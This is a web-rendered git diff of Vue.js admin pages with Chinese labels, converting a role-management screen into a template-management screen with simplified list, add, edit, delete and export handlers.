||||||
{ required: true, message: "角色名称不能为空", trigger: "blur" }
|
|
||||||
],
|
|
||||||
roleKey: [
|
|
||||||
{ required: true, message: "权限字符不能为空", trigger: "blur" }
|
|
||||||
],
|
|
||||||
roleSort: [
|
|
||||||
{ required: true, message: "角色顺序不能为空", trigger: "blur" }
|
|
||||||
]
|
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
},
|
},
|
||||||
|
@ -353,63 +172,13 @@ export default {
|
||||||
this.getList();
|
this.getList();
|
||||||
},
|
},
|
||||||
methods: {
|
methods: {
|
||||||
/** 查询角色列表 */
|
/** 查询模版列表 */
|
||||||
getList() {
|
getList() {
|
||||||
this.loading = true;
|
this.loading = true;
|
||||||
listRole(this.addDateRange(this.queryParams, this.dateRange)).then(response => {
|
listTemplate(this.queryParams).then(response => {
|
||||||
this.roleList = response.rows;
|
this.templateList = response.rows;
|
||||||
this.total = response.total;
|
this.total = response.total;
|
||||||
this.loading = false;
|
this.loading = false;
|
||||||
}
|
|
||||||
);
|
|
||||||
},
|
|
||||||
/** 查询菜单树结构 */
|
|
||||||
getMenuTreeselect() {
|
|
||||||
menuTreeselect().then(response => {
|
|
||||||
this.menuOptions = response.data;
|
|
||||||
});
|
|
||||||
},
|
|
||||||
// 所有菜单节点数据
|
|
||||||
getMenuAllCheckedKeys() {
|
|
||||||
// 目前被选中的菜单节点
|
|
||||||
let checkedKeys = this.$refs.menu.getCheckedKeys();
|
|
||||||
// 半选中的菜单节点
|
|
||||||
let halfCheckedKeys = this.$refs.menu.getHalfCheckedKeys();
|
|
||||||
checkedKeys.unshift.apply(checkedKeys, halfCheckedKeys);
|
|
||||||
return checkedKeys;
|
|
||||||
},
|
|
||||||
// 所有部门节点数据
|
|
||||||
getDeptAllCheckedKeys() {
|
|
||||||
// 目前被选中的部门节点
|
|
||||||
let checkedKeys = this.$refs.dept.getCheckedKeys();
|
|
||||||
// 半选中的部门节点
|
|
||||||
let halfCheckedKeys = this.$refs.dept.getHalfCheckedKeys();
|
|
||||||
checkedKeys.unshift.apply(checkedKeys, halfCheckedKeys);
|
|
||||||
return checkedKeys;
|
|
||||||
},
|
|
||||||
/** 根据角色ID查询菜单树结构 */
|
|
||||||
getRoleMenuTreeselect(roleId) {
|
|
||||||
return roleMenuTreeselect(roleId).then(response => {
|
|
||||||
this.menuOptions = response.menus;
|
|
||||||
return response;
|
|
||||||
});
|
|
||||||
},
|
|
||||||
/** 根据角色ID查询部门树结构 */
|
|
||||||
getDeptTree(roleId) {
|
|
||||||
return deptTreeSelect(roleId).then(response => {
|
|
||||||
this.deptOptions = response.depts;
|
|
||||||
return response;
|
|
||||||
});
|
|
||||||
},
|
|
||||||
// 角色状态修改
|
|
||||||
handleStatusChange(row) {
|
|
||||||
let text = row.status === "0" ? "启用" : "停用";
|
|
||||||
this.$modal.confirm('确认要"' + text + '""' + row.roleName + '"角色吗?').then(function() {
|
|
||||||
return changeRoleStatus(row.roleId, row.status);
|
|
||||||
}).then(() => {
|
|
||||||
this.$modal.msgSuccess(text + "成功");
|
|
||||||
}).catch(function() {
|
|
||||||
row.status = row.status === "0" ? "1" : "0";
|
|
||||||
});
|
});
|
||||||
},
|
},
|
||||||
// 取消按钮
|
// 取消按钮
|
||||||
|
@ -417,31 +186,21 @@ export default {
|
||||||
this.open = false;
|
this.open = false;
|
||||||
this.reset();
|
this.reset();
|
||||||
},
|
},
|
||||||
// 取消按钮(数据权限)
|
|
||||||
cancelDataScope() {
|
|
||||||
this.openDataScope = false;
|
|
||||||
this.reset();
|
|
||||||
},
|
|
||||||
// 表单重置
|
// 表单重置
|
||||||
reset() {
|
reset() {
|
||||||
if (this.$refs.menu != undefined) {
|
|
||||||
this.$refs.menu.setCheckedKeys([]);
|
|
||||||
}
|
|
||||||
this.menuExpand = false,
|
|
||||||
this.menuNodeAll = false,
|
|
||||||
this.deptExpand = true,
|
|
||||||
this.deptNodeAll = false,
|
|
||||||
this.form = {
|
this.form = {
|
||||||
roleId: undefined,
|
id: null,
|
||||||
roleName: undefined,
|
templateName: null,
|
||||||
roleKey: undefined,
|
templateType: null,
|
||||||
roleSort: 0,
|
templateContent: null,
|
||||||
status: "0",
|
templateStatus: null,
|
||||||
menuIds: [],
|
createId: null,
|
||||||
deptIds: [],
|
createUser: null,
|
||||||
menuCheckStrictly: true,
|
createTime: null,
|
||||||
deptCheckStrictly: true,
|
updateId: null,
|
||||||
remark: undefined
|
updateUser: null,
|
||||||
|
updateTime: null,
|
||||||
|
sort: null
|
||||||
};
|
};
|
||||||
this.resetForm("form");
|
this.resetForm("form");
|
||||||
},
|
},
|
||||||
|
@ -452,127 +211,43 @@ export default {
|
||||||
},
|
},
|
||||||
/** 重置按钮操作 */
|
/** 重置按钮操作 */
|
||||||
resetQuery() {
|
resetQuery() {
|
||||||
this.dateRange = [];
|
|
||||||
this.resetForm("queryForm");
|
this.resetForm("queryForm");
|
||||||
this.handleQuery();
|
this.handleQuery();
|
||||||
},
|
},
|
||||||
// 多选框选中数据
|
// 多选框选中数据
|
||||||
handleSelectionChange(selection) {
|
handleSelectionChange(selection) {
|
||||||
this.ids = selection.map(item => item.roleId)
|
this.ids = selection.map(item => item.id)
|
||||||
this.single = selection.length!=1
|
this.single = selection.length!==1
|
||||||
this.multiple = !selection.length
|
this.multiple = !selection.length
|
||||||
},
|
},
|
||||||
// 更多操作触发
|
|
||||||
handleCommand(command, row) {
|
|
||||||
switch (command) {
|
|
||||||
case "handleDataScope":
|
|
||||||
this.handleDataScope(row);
|
|
||||||
break;
|
|
||||||
case "handleAuthUser":
|
|
||||||
this.handleAuthUser(row);
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
},
|
|
||||||
// 树权限(展开/折叠)
|
|
||||||
handleCheckedTreeExpand(value, type) {
|
|
||||||
if (type == 'menu') {
|
|
||||||
let treeList = this.menuOptions;
|
|
||||||
for (let i = 0; i < treeList.length; i++) {
|
|
||||||
this.$refs.menu.store.nodesMap[treeList[i].id].expanded = value;
|
|
||||||
}
|
|
||||||
} else if (type == 'dept') {
|
|
||||||
let treeList = this.deptOptions;
|
|
||||||
for (let i = 0; i < treeList.length; i++) {
|
|
||||||
this.$refs.dept.store.nodesMap[treeList[i].id].expanded = value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
// 树权限(全选/全不选)
|
|
||||||
handleCheckedTreeNodeAll(value, type) {
|
|
||||||
if (type == 'menu') {
|
|
||||||
this.$refs.menu.setCheckedNodes(value ? this.menuOptions: []);
|
|
||||||
} else if (type == 'dept') {
|
|
||||||
this.$refs.dept.setCheckedNodes(value ? this.deptOptions: []);
|
|
||||||
}
|
|
||||||
},
|
|
||||||
// 树权限(父子联动)
|
|
||||||
handleCheckedTreeConnect(value, type) {
|
|
||||||
if (type == 'menu') {
|
|
||||||
this.form.menuCheckStrictly = value ? true: false;
|
|
||||||
} else if (type == 'dept') {
|
|
||||||
this.form.deptCheckStrictly = value ? true: false;
|
|
||||||
}
|
|
||||||
},
|
|
||||||
/** 新增按钮操作 */
|
/** 新增按钮操作 */
|
||||||
handleAdd() {
|
handleAdd() {
|
||||||
this.reset();
|
this.reset();
|
||||||
this.getMenuTreeselect();
|
|
||||||
this.open = true;
|
this.open = true;
|
||||||
this.title = "添加角色";
|
this.title = "添加模版";
|
||||||
},
|
},
|
||||||
/** 修改按钮操作 */
|
/** 修改按钮操作 */
|
||||||
handleUpdate(row) {
|
handleUpdate(row) {
|
||||||
this.reset();
|
this.reset();
|
||||||
const roleId = row.roleId || this.ids
|
const id = row.id || this.ids
|
||||||
const roleMenu = this.getRoleMenuTreeselect(roleId);
|
getTemplate(id).then(response => {
|
||||||
getRole(roleId).then(response => {
|
|
||||||
this.form = response.data;
|
this.form = response.data;
|
||||||
this.open = true;
|
this.open = true;
|
||||||
this.$nextTick(() => {
|
this.title = "修改模版";
|
||||||
roleMenu.then(res => {
|
|
||||||
let checkedKeys = res.checkedKeys
|
|
||||||
checkedKeys.forEach((v) => {
|
|
||||||
this.$nextTick(()=>{
|
|
||||||
this.$refs.menu.setChecked(v, true ,false);
|
|
||||||
})
|
|
||||||
})
|
|
||||||
});
|
|
||||||
});
|
|
||||||
this.title = "修改角色";
|
|
||||||
});
|
});
|
||||||
},
|
},
|
||||||
/** 选择角色权限范围触发 */
|
|
||||||
dataScopeSelectChange(value) {
|
|
||||||
if(value !== '2') {
|
|
||||||
this.$refs.dept.setCheckedKeys([]);
|
|
||||||
}
|
|
||||||
},
|
|
||||||
/** 分配数据权限操作 */
|
|
||||||
handleDataScope(row) {
|
|
||||||
this.reset();
|
|
||||||
const deptTreeSelect = this.getDeptTree(row.roleId);
|
|
||||||
getRole(row.roleId).then(response => {
|
|
||||||
this.form = response.data;
|
|
||||||
this.openDataScope = true;
|
|
||||||
this.$nextTick(() => {
|
|
||||||
deptTreeSelect.then(res => {
|
|
||||||
this.$refs.dept.setCheckedKeys(res.checkedKeys);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
this.title = "分配数据权限";
|
|
||||||
});
|
|
||||||
},
|
|
||||||
/** 分配用户操作 */
|
|
||||||
handleAuthUser: function(row) {
|
|
||||||
const roleId = row.roleId;
|
|
||||||
this.$router.push("/system/role-auth/user/" + roleId);
|
|
||||||
},
|
|
||||||
/** 提交按钮 */
|
/** 提交按钮 */
|
||||||
submitForm: function() {
|
submitForm() {
|
||||||
this.$refs["form"].validate(valid => {
|
this.$refs["form"].validate(valid => {
|
||||||
if (valid) {
|
if (valid) {
|
||||||
if (this.form.roleId != undefined) {
|
if (this.form.id != null) {
|
||||||
this.form.menuIds = this.getMenuAllCheckedKeys();
|
updateTemplate(this.form).then(response => {
|
||||||
updateRole(this.form).then(response => {
|
|
||||||
this.$modal.msgSuccess("修改成功");
|
this.$modal.msgSuccess("修改成功");
|
||||||
this.open = false;
|
this.open = false;
|
||||||
this.getList();
|
this.getList();
|
||||||
});
|
});
|
||||||
} else {
|
} else {
|
||||||
this.form.menuIds = this.getMenuAllCheckedKeys();
|
addTemplate(this.form).then(response => {
|
||||||
addRole(this.form).then(response => {
|
|
||||||
this.$modal.msgSuccess("新增成功");
|
this.$modal.msgSuccess("新增成功");
|
||||||
this.open = false;
|
this.open = false;
|
||||||
this.getList();
|
this.getList();
|
||||||
|
@ -581,22 +256,11 @@ export default {
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
},
|
},
|
||||||
/** 提交按钮(数据权限) */
|
|
||||||
submitDataScope: function() {
|
|
||||||
if (this.form.roleId != undefined) {
|
|
||||||
this.form.deptIds = this.getDeptAllCheckedKeys();
|
|
||||||
dataScope(this.form).then(response => {
|
|
||||||
this.$modal.msgSuccess("修改成功");
|
|
||||||
this.openDataScope = false;
|
|
||||||
this.getList();
|
|
||||||
});
|
|
||||||
}
|
|
||||||
},
|
|
||||||
/** 删除按钮操作 */
|
/** 删除按钮操作 */
|
||||||
handleDelete(row) {
|
handleDelete(row) {
|
||||||
const roleIds = row.roleId || this.ids;
|
const ids = row.id || this.ids;
|
||||||
this.$modal.confirm('是否确认删除角色编号为"' + roleIds + '"的数据项?').then(function() {
|
this.$modal.confirm('是否确认删除模版编号为"' + ids + '"的数据项?').then(function() {
|
||||||
return delRole(roleIds);
|
return delTemplate(ids);
|
||||||
}).then(() => {
|
}).then(() => {
|
||||||
this.getList();
|
this.getList();
|
||||||
this.$modal.msgSuccess("删除成功");
|
this.$modal.msgSuccess("删除成功");
|
||||||
|
@ -604,9 +268,9 @@ export default {
|
||||||
},
|
},
|
||||||
/** 导出按钮操作 */
|
/** 导出按钮操作 */
|
||||||
handleExport() {
|
handleExport() {
|
||||||
this.download('system/role/export', {
|
this.download('business/template/export', {
|
||||||
...this.queryParams
|
...this.queryParams
|
||||||
}, `role_${new Date().getTime()}.xlsx`)
|
}, `template_${new Date().getTime()}.xlsx`)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
|
@ -153,7 +153,6 @@
|
||||||
icon="el-icon-download"
|
icon="el-icon-download"
|
||||||
size="mini"
|
size="mini"
|
||||||
@click="handleExport"
|
@click="handleExport"
|
||||||
v-hasPermi="['system:role:export']"
|
|
||||||
>导出</el-button>
|
>导出</el-button>
|
||||||
</el-col>
|
</el-col>
|
||||||
<right-toolbar :showSearch.sync="showSearch" @queryTable="getList"></right-toolbar>
|
<right-toolbar :showSearch.sync="showSearch" @queryTable="getList"></right-toolbar>
|
||||||
|
@ -708,12 +707,8 @@ export default {
|
||||||
},
|
},
|
||||||
setPrize(){
|
setPrize(){
|
||||||
setUpPrize(this.form2.id, this.form2.prize).then(response => {
|
setUpPrize(this.form2.id, this.form2.prize).then(response => {
|
||||||
if(response.data != null){
|
|
||||||
this.$modal.msgSuccess("修改成功");
|
this.$modal.msgSuccess("修改成功");
|
||||||
this.open2 = false;
|
this.open2 = false;
|
||||||
}else{
|
|
||||||
console.error('修改失败', err);
|
|
||||||
}
|
|
||||||
});
|
});
|
||||||
return;
|
return;
|
||||||
},
|
},
|
||||||
|
|
Loading…
Reference in New Issue